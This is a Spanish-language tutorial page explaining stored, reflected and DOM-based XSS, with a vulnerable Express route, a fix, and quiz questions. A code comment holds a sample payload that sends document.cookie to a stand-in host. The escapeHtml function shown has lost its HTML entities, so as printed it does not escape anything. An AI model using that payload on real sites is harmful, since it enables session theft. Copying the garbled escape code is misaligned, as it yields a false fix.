¿En qué se diferencian el XSS almacenado, el reflejado y el basado en DOM, y cómo se previene cada uno desde el backend?
El cross-site scripting no es un solo error, sino tres mecanismos distintos para entregar la misma carga maliciosa, y cada uno exige una solución en una capa diferente de tu stack.
APRENDE HACIENDOPon a prueba tu intuición3 pasos
¿En qué se diferencian el XSS almacenado, el reflejado y el basado en DOM, y cómo se previene cada uno desde el backend?
Usa los ejemplos y la explicación de la lección para comprobar tu idea.
Reflexión personal. No se envía a ningún servicio de IA.#El mismo payload, tres camiones de entrega distintos
El cross-site scripting (XSS) significa que un atacante logra que su JavaScript se ejecute en el navegador de la víctima, dentro del contexto de seguridad de un sitio en el que la víctima confía. Toda variante de XSS termina con un <script> (o un manejador de eventos, o una URL javascript:) ejecutándose con las cookies, el acceso al DOM y los privilegios de mismo origen del sitio. Lo que cambia es cómo llega el payload del atacante al navegador de la víctima — y esa diferencia es exactamente lo que determina en qué capa lo arreglas.
#XSS almacenado (stored)
El payload se guarda del lado del servidor — en una fila de base de datos, un campo de comentario, la biografía de un perfil — y se sirve de vuelta a todos los visitantes que vean esa página. Es la variante más peligrosa porque no requiere ingeniería social por cada víctima: el atacante envía el payload una sola vez (por ejemplo, en una reseña de producto) y este detona en el navegador de cualquiera que cargue esa página después.
#XSS reflejado (reflected)
El payload vive en la propia solicitud — normalmente un parámetro de query o un campo de formulario — y el servidor lo devuelve de inmediato dentro de la respuesta HTML sin sanitizarlo. Un ejemplo clásico es una página de búsqueda que renderiza "Sin resultados para ENTRADA_DEL_USUARIO" directamente en la página. El atacante tiene que engañar a una víctima para que haga clic en un enlace manipulado (correo de phishing, anuncio malicioso), porque el payload nunca toca almacenamiento.
#XSS basado en DOM
El payload ni siquiera llega al servidor. JavaScript del lado del cliente lee una fuente controlada por el atacante — location.hash, document.referrer, window.name — y la escribe en un sumidero peligroso como innerHTML o document.write sin que el servidor jamás vea ese dato pasar por el cuerpo de una solicitud. Por eso a veces se confunde el XSS de DOM con un bug "solo de frontend" — pero el backend sigue teniendo responsabilidad real aquí, particularmente en los encabezados de seguridad que emite.
| Variante | Dónde vive el payload | Quién queda expuesto | Dónde se arregla realmente |
|---|---|---|---|
| Almacenado | Base de datos / almacenamiento persistente | Todo el que vea la página | Codificar en la salida (y validar en la entrada) |
| Reflejado | La propia solicitud | Quien haga clic en el enlace manipulado | Codificar en la salida |
| Basado en DOM | JS del cliente leyendo una fuente no confiable | Quien cargue la página con el fragmento/URL manipulado | APIs de sumidero seguras + CSP, sanitización en el cliente |
#Un ejemplo vulnerable y su corrección
Aquí hay una ruta de Node/Express que parece completamente razonable y es trivialmente explotable — un XSS reflejado clásico construido concatenando un parámetro de query dentro de una respuesta HTML:
// VULNERABLE: el query string se refleja directo en el HTMLapp.get('/search', (req, res) => {const query = req.query.q || '';res.send('<html><body>' +'<h1>Resultados de búsqueda</h1>' +'<p>Sin resultados para "' + query + '"</p>' +'</body></html>');});// Una solicitud a /search?q=<script>fetch('https://evil.example/steal?c='+document.cookie)</script>// ejecuta el script del atacante en el navegador de la víctima, en el origen de tu sitio.
La solución es codificación contextual de salida, aplicada justo en el punto donde el valor no confiable se inserta en el HTML:
const escapeHtml = (str) =>String(str).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');app.get('/search', (req, res) => {const query = escapeHtml(req.query.q || '');res.set('Content-Security-Policy', "default-src 'self'; script-src 'self'");res.send('<html><body>' +'<h1>Resultados de búsqueda</h1>' +'<p>Sin resultados para "' + query + '"</p>' +'</body></html>');});
Aquí pasaron dos cosas, y ambas importan. Primero, el valor de query se codifica como entidades HTML antes de insertarse, así que <script> llega al navegador como texto literal (<script>), no como una etiqueta interpretable. Segundo, se agregó un encabezado Content-Security-Policy como defensa en profundidad — incluso si un bug de codificación se escapa en otro lugar de la página, una CSP estricta sin unsafe-inline bloquea por completo la ejecución del script inyectado.
En la práctica rara vez escribes escapeHtml a mano: los motores de plantillas de producción (el autoescape de Jinja2, el JSX de React, el {{ }} de Handlebars) ya hacen codificación contextual por defecto, y el bug real que llega a producción casi siempre es un desarrollador que explícitamente desactivó ese comportamiento por defecto — dangerouslySetInnerHTML en React, el triple-mostacho de Handlebars, o |safe en Jinja2. Auditar un código en busca de XSS es en gran parte buscar esas válvulas de escape.
#Dónde se arregla realmente el XSS basado en DOM
Como el XSS de DOM nunca toca el manejo de solicitudes de tu servidor, no puedes resolverlo codificando algo en un route handler. El trabajo del backend aquí es entregar código y encabezados que hagan más difícil llegar a los sumideros peligrosos:
- Servir una
Content-Security-Policyque prohíba scriptsunsafe-inliney, idealmente, usetrusted-typespara que las asignaciones ainnerHTML/document.writerequieran un objetoTrustedHTMLsaneado, lanzando un error en tiempo de ejecución si no. - Distribuir (o exigir vía regla de lint) un sanitizador como DOMPurify para cualquier código de cliente que deba renderizar HTML no confiable, y prohibir asignaciones directas a
innerHTML =en revisión de código. - Configurar
HttpOnlyen las cookies de sesión para que incluso un payload de XSS exitoso no pueda leerlas directamente víadocument.cookie— esto limita el radio de daño en lugar de prevenir la inyección, pero es barato y sí importa.
🧠 Check your understanding
0/3 · 0/3 answered1. El comentario malicioso de un usuario se guarda en la base de datos y luego se renderiza como JavaScript ejecutable para cada visitante que vea esa página. ¿Qué tipo de XSS es este?
2. ¿Por qué una lista negra que elimina etiquetas '<script>' de la entrada del usuario suele ser una defensa débil contra XSS?
3. ¿Por qué un manejador de rutas del backend no puede arreglar directamente una vulnerabilidad de XSS basado en DOM?